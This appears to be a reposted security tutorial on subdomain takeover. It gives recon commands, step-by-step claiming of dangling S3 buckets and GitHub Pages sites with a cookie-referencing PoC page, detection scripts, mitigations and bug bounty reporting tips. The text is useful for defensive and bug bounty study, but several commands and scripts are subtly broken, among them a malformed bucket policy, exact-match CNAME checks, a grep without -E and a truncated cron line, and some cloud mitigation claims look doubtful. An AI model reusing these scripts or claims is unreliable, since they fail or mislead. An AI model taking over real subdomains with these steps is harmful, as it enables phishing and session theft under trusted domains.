Listen to this Post
Introduction:
Subdomain takeover occurs when a DNS record points to a decommissioned or unclaimed external service (e.g., an AWS S3 bucket, GitHub Pages, or Heroku app) that an attacker can register and control. Even low‑severity vulnerabilities like this can expose organizations to phishing, session hijacking, or data theft if left unremediated. In a recent bug bounty submission, a researcher demonstrated a complete proof‑of‑concept (PoC) for a subdomain takeover—proving that “low” doesn’t mean “ignore.”
Learning Objectives:
- Understand how dangling DNS records lead to subdomain takeover vulnerabilities.
- Perform reconnaissance to identify takeover candidates using open‑source tools and manual techniques.
- Exploit vulnerable subdomains (AWS S3, GitHub Pages, Azure) and implement effective mitigations.
You Should Know
1. Understanding Subdomain Takeover – The Core Concept
A subdomain takeover happens when a DNS `CNAME` or `NS` record references an external resource (like mybucket.s3.amazonaws.com) that is no longer in use. If an attacker can claim that resource (e.g., re‑create the S3 bucket), they gain full control over the subdomain’s content and can serve malicious payloads.
Step‑by‑step explanation:
- A company deletes an S3 bucket but forgets to remove the DNS `CNAME` record.
- An attacker enumerates subdomains and finds a `CNAME` pointing to a non‑existent bucket.
- The attacker creates a new bucket with the exact same name in their AWS account.
- Now any request to `vulnerable.example.com` serves the attacker’s content.
Why it matters: Even a “low” severity can become high if combined with other flaws (e.g., XSS, OAuth redirects). Attackers can host fake login pages to steal credentials or serve malware under a trusted domain.
2. Reconnaissance for Takeover Candidates
Use DNS enumeration and automated tools to detect dangling records. Below are verified commands for Linux and Windows (via WSL or native PowerShell where applicable).
Linux / macOS commands:
Enumerate subdomains with Sublist3r git clone https://github.com/aboul3la/Sublist3r.git cd Sublist3r pip install -r requirements.txt python sublist3r.py -d example.com -o subdomains.txt Resolve CNAME records for each subdomain while read sub; do dig +short CNAME $sub; done < subdomains.txt > cnames.txt Check for HTTP errors (NXDOMAIN, 404, etc.) indicating unclaimed services cat subdomains.txt | httpx -status-code -follow-redirects -silent | grep -E "404|NXDOMAIN"
Windows (PowerShell):
Basic CNAME lookup
Resolve-DnsName -Name subdomain.example.com -Type CNAME
Bulk check using a subdomain list
Get-Content subdomains.txt | ForEach-Object {
try { Resolve-DnsName $_ -Type CNAME -ErrorAction Stop | Select-Object Name, NameHost }
catch { Write-Host "$_ : unresolved or no CNAME" }
}
Automated tools:
– `subzy` (Go): `subzy run –target example.com –concurrency 20 –hide_fails`
– `takeover` (Python): `python takeover.py -d example.com -o results.txt`
3. Exploiting an AWS S3 Takeover
When a `CNAME` points to a non‑existent S3 bucket (e.g., `bucket-name.s3.amazonaws.com` returning NoSuchBucket), an attacker can claim it.
Step‑by‑step exploitation:
1. Verify the bucket is gone
curl -I http://vulnerable.example.com Look for: x-amz-error-code: NoSuchBucket
- Create the bucket (requires AWS CLI configured with your own account)
aws s3api create-bucket --bucket bucket-name --region us-east-1
3. Enable static website hosting
aws s3 website s3://bucket-name/ --index-document index.html --error-document error.html
4. Upload a proof‑of‑concept (PoC) page
<!-- index.html --> <!DOCTYPE html> <html><body> <h1>Subdomain Takeover PoC</h1> This subdomain is compromised. Cookie: <script>document.cookie</script> </body></html>
aws s3 cp index.html s3://bucket-name/
- Set bucket policy to allow public read (if required)
{ "Version":"2012-10-17", "Statement":[{ "Effect":"Allow", "Principal":"", "Action":"s3:GetObject", "Resource":"arn:aws:s3:::bucket-name/" }] }Apply with `aws s3api put-bucket-policy –bucket bucket-name –policy file://policy.json`
Now `vulnerable.example.com` serves your PoC. Always obtain permission before testing on live domains.
4. Exploiting GitHub Pages Subdomain Takeover
A dangling `CNAME` pointing to a GitHub Pages user/organization site (e.g., username.github.io) can be taken over by creating a matching repository.
Step‑by‑step:
1. Confirm the `CNAME` record:
dig +short vulnerable.example.com Returns: username.github.io
2. Check if the GitHub Pages site exists:
curl -I https://username.github.io If 404, the account may be available (GitHub doesn't release usernames easily, but org names can be claimed)
- For a GitHub organization page: Create a new organization with the exact username and enable Pages.
- For a user page: If the username is available, register it and create a repository named
username.github.io. - Add a `CNAME` file inside the repository containing the subdomain (
vulnerable.example.com). - Commit an `index.html` PoC. The subdomain will now serve your content.
Note: GitHub is increasingly strict about reusing old usernames. Always verify account availability through GitHub’s API or sign‑up process.
5. Mitigation and Cloud Hardening
Prevent subdomain takeovers with these controls:
- DNS hygiene: Regularly audit
CNAME,NS, and `MX` records. Remove stale entries immediately after decommissioning a service. - Canary subdomains: Create dummy subdomains (e.g.,
canary-123.example.com) and monitor for changes to detect takeover attempts. - Cloud provider safeguards:
- AWS: Use S3 bucket policies that deny access unless the request comes from your expected `Host` header.
- Azure: Enable “require subdomain verification” for Storage Accounts.
- GCP: Use Cloud Run’s “managed” domain mapping with ownership checks.
Automated scanning script (Linux):
!/bin/bash
audit-subdomains.sh
DOMAIN="example.com"
sublist3r -d $DOMAIN -o alive.txt
cat alive.txt | while read sub; do
cname=$(dig +short CNAME $sub)
if [[ $cname == "amazonaws.com" ]] || [[ $cname == "github.io" ]]; then
Check if resource exists
if curl -s -o /dev/null -w "%{http_code}" "https://$cname" | grep -q "404|NoSuchBucket"; then
echo "POTENTIAL TAKEOVER: $sub -> $cname"
fi
fi
done
Windows PowerShell equivalent:
$domain = "example.com"
$subs = Get-Content subdomains.txt
foreach ($sub in $subs) {
try {
$cname = (Resolve-DnsName $sub -Type CNAME -ErrorAction Stop).NameHost
if ($cname -match "amazonaws.com|github.io") {
$status = Invoke-WebRequest -Uri "https://$cname" -UseBasicParsing -ErrorAction SilentlyContinue
if ($status.StatusCode -eq 404) { Write-Host "Takeover risk: $sub -> $cname" }
}
} catch {}
}
6. Automation with Subzy and Custom Scripts
`subzy` is a fast Go tool that automates takeover detection across multiple services (AWS, GitHub, Azure, Fastly, etc.).
Installation & usage:
Install subzy go install -v github.com/LukaSikic/subzy@latest Run against a list of subdomains subzy run --list subdomains.txt --concurrency 50 --timeout 10 --hide_fails Single domain test subzy run --target example.com --verify_ssl false
Output interpretation:
– `VULNERABLE` – takeover confirmed (resource not found and claimable).
– `MISCONFIGURED` – resource exists but misconfigured (e.g., bucket listing enabled).
– `SAFE` – resource claimed and returns 200 OK.
Continuous monitoring with cron:
Daily scan at 2 AM 0 2 cd /opt/takeover-monitor && ./audit-subdomains.sh >> logs/$(date +\%Y-\%m-\%d).log
- Reporting a Subdomain Takeover – Writing the PoC
When submitting to a bug bounty program (like HackerOne), include:
- Summary – Subdomain, service type, impact (e.g., “attacker can host arbitrary content”).
- Steps to reproduce – Provide exact commands and output.
- Proof of concept – A live screenshot or hosted PoC (taken down after validation).
- Remediation – Suggest deleting the dangling DNS record or claiming the resource internally.
Example PoC structure:
Vulnerable subdomain: secure-api.example.com CNAME points to: non-existent-bucket.s3.amazonaws.com Request returns: 404 NoSuchBucket Attacker can create bucket → serve phishing page under trusted domain. Reproduce: $ dig secure-api.example.com CNAME $ curl -I https://secure-api.example.com [output showing NoSuchBucket] $ aws s3 mb s3://non-existent-bucket $ echo " <h1>PoC</h1> " > index.html && aws s3 cp index.html s3://non-existent-bucket
Severity justification: Even “low” can escalate with a redirect or XSS. Use CVSS vector `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` → Base Score 6.1 (Medium).
What Undercode Say:
- Key Takeaway 1: Subdomain takeover is not a theoretical risk—it’s a common misconfiguration in cloud environments. Automated scans with tools like Subzy or custom scripts can uncover dozens of candidates in minutes.
- Key Takeaway 2: Low severity does not equal low impact. A takeover can be chained with other vulnerabilities (e.g., insecure cookie handling, CSP bypass) to achieve account takeover or data exfiltration.
Analysis: The researcher’s decision to report a low‑severity find demonstrates professional maturity—many bug bounty hunters ignore “low” findings, leaving organizations exposed. Subdomain takeovers are particularly dangerous because they subvert the trust model of the web: users see a legitimate domain but interact with attacker‑controlled content. Modern attack surfaces have exploded with cloud services (S3, Azure Blob, GCS, Vercel, Netlify). Each service has its own claim process, and DNS records often outlive the resources they point to. The best defense is continuous DNS monitoring and automated remediation (e.g., deleting stale CNAMEs via Infrastructure as Code). For defenders, a weekly `dig` sweep across all subdomains is a low‑effort, high‑return habit. For bug bounty hunters, mastering subdomain takeover is a gateway to understanding DNS, cloud IAM, and HTTP semantics—skills that translate directly to higher‑impact vulnerabilities.
Prediction: As organizations accelerate cloud adoption without retiring legacy DNS entries, subdomain takeover will become one of the top five reported vulnerabilities by 2027. AI‑powered reconnaissance tools will automatically claim and weaponize dangling CNAMEs, turning “low” findings into automated exploit chains. Meanwhile, bug bounty platforms will start requiring “takeover impact” simulations (e.g., proving that a claimed subdomain can steal OAuth tokens or bypass CORS policies) to raise severity scores. Defenders will respond with real‑time DNS verification as a service (e.g., Cloudflare’s “DNS validation” for external CNAMEs), but the window of exposure after decommissioning a cloud resource will remain the critical risk period. The arms race between automatic takeover tools and mitigation bots has already begun—prepare accordingly.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
